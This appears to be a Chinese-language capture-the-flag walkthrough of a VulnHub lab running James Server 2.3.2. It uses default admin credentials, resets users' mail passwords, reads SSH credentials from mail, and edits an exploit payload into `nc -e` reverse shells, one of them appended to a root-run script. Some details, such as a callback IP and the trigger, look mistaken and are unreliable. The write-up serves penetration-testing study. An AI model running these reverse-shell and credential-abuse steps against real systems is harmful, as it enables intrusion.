VulnHub是一個面向所有人開放的安全靶場,裡面有很多安全環境,只要下載相關映像檔,在相關虛擬機器上面執行就可以練習相關靶場了。裡面設計了好多關,如果有耐心一定可以到達峰頂。許多考OSCP人員,也會利用Vulnhub靶場進行刷題。我們下載了一個經典漏洞靶場,給大家進行演示,希望讓初學者知道滲透測試的套路,可以更快的成長。
首先,先查詢自己本地的IP,可以透過 ifconfig查詢。
eth0 192.168.44.136 這是本地IP ,同時也是攻擊者端
接著我們透過 nmap這款工具,可以快速系統掃描,並查找當前內網的其他主機及服務。
nmap -A 192.168.44.0/24 ,查詢該網段底下的主機,發現標的物為 192.168.44.137 主機。
接著透過 nmap 掃描該標的物主機使用了哪些服務,可以透過nmap 192.168.44.137 -sV -p 0-65535
掃描 0-65535 Port中,使用哪些。
發現該主機開啟了 22、25、80、110、119、4555 Port,並且STATE狀態都為 open。
而後面Version為該服務版本號,我們可以將蒐集到的資訊,一一作為查詢是否存在漏洞,
例:james-admin JAMES Remote Admin 2.3.2,透過exploit-db可以找到這篇RCE漏洞
在滲透測試過程中,前期一定要先做好情報蒐集,例如該網站/主機提供了什麼樣的服務/功能 ? 使用什麼語言開發? 哪些框架? 版本號? 子目錄? 子域名? 等
除了nmap對主機進行探測外,我們還可以嘗試對網站進行掃描下,
使用Dirb,該工具是使用字典檔來進行網站探測目錄,是個很方便的工具
在現實生活中,很多網站可以透過robots.txt、/.git /.svn等方式來尋找網站的敏感資訊,甚至是網站後台、原始碼等
這邊只有 images目錄、index.html,沒什麼資訊可利用。
於是直接訪問網站,查看下提供了哪些功能 ? 可能存在什麼漏洞 ? 例:XSS、SQL Injection等
網站逛過一遍後,發現基本上都是html,沒什麼可輸入、可互動的功能,唯獨只有看到這個像是Email聯繫的功能。
在這邊一開始以為有沒有可能是要透過 XSS來拿 admin的資料,但嘗試了下 看起來不是。
既然網站感覺沒有功能可以打,也沒蒐集到可利用的資訊,於是我們轉移目標,放到一開始nmap所掃描的服務上。
將每個服務都Google查詢一遍後,發現James Server 2.3.2存在漏洞,於是我們就往這個點打。
首先 nc 連到該主機標的,帳號密碼嘗試用弱密碼/預設密碼猜測,例:root/root,admin/admin 等。
root 成功登入後,下指令help查詢下,看看提供什麼指令可以操作。
發現listusers,看起來是 列出使用者,adduser為添加使用者,setpassword為重設密碼
透過listusers,可以看到有 james、thomas、john、mindy、mailadmin用戶。
../../../../../../../../etc/bash_completion.d 是我在練習時,透過exploit 添加上去的,這邊可以暫時先忽略。
有了使用者帳號後,但因為不知道使用者密碼,於是可以透過setpassword來更改密碼,
setpassword mindy lonelypopo
依序將每位使用者密碼都暫時修改為 lonelypopo,方便之後可以利用。
修改完密碼後,接著嘗試連接 pop3服務
telnet 192.168.44.137 110
也是依序將每位使用者都登入看看,然後查詢/蒐集下有什麼機敏資料。
最後在mindy使用者上 查詢retr 2後發現該標的主機的ssh帳號密碼。
你問我為什麼知道是ssh的帳號密碼? 原因很簡單,將蒐集到的資訊,每個服務都嘗試登入看看就知道了。
Username:mindy
Password:P@55W0rd1!2@
接著就可以直接ssh [email protected] 登入該標的主機了。
在當前目錄下 ls ,發現有 第一關 user.txt的 flag,於是直接 cat user.txt。
拿到第一把flag。
不過由於mindy不是root權限,無法訪問/root目錄,也無法查看root.txt,所以接下來的步驟得想辦法提權到root。
接下來,我們使用前面提到的Exploit並修改下Payload,
原:payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # to exploit only on root
改:payload = 'nc -e /bin/sh 192.168.44.136 8000' # to exploit only on root
就是要Reverse Shell,反彈回來到本地上,之後比較方便操作。
然後在Kali 本地上 透過nc 監聽 8000 port,當執行exploit後,在ssh到該標的主機上,shell就會反連回來了。
視窗一 python exp.py 192.168.44.137
視窗二 ssh [email protected]
視窗三 nc -lvp 8000
反彈回來後,習慣切換到交互式操作視窗,比較方便操作。
python -c 'import pty;pty.spawn("/bin/bash")'
因為要想辦法提升到root權限來讀取root.txt,所以當打下主機後(低權限),就是要開始蒐集資訊,查看主機內的哪些process是透過root執行,哪些服務是root權限等等之類的。
可以使用ps aux來查看
而經過一番查詢後,ps aux | grep james
看到/opt目錄下 james-2.3.2,感覺就是可以打的點。
在/opt目錄下 透過 ls -al,可以查看到有 james-2.3.2 及 tmp.py
可以查看下 tmp.py裡邊的程式碼,看看能不能修改。
rm -r /tmp/* ,刪除/tmp底下的檔案,於是我們到/tmp底下,隨便新增一個目錄,然後執行tmp.py,查看是否可以成功執行。
因為shell壞掉,無法直接vi修改,但發現可以透過echo方式來添加進去
echo "os.system('/bin/nc -e /bin/bash 192.168.44.137 8082')" >> tmp.py
接著 nc -vlnp 8082 ,透過nc 監聽8082 Port,等待Shell反連回來。
剛才透過echo寫入 tmp.py後,我們可以直接 cat tmp.py 讀取tmp,這時候shell就會成功反連回來了。
成功反彈shell後,透過id查看下當前用戶是 root,於是成功提權了。
cat root.txt,讀取第二把flag。
結束。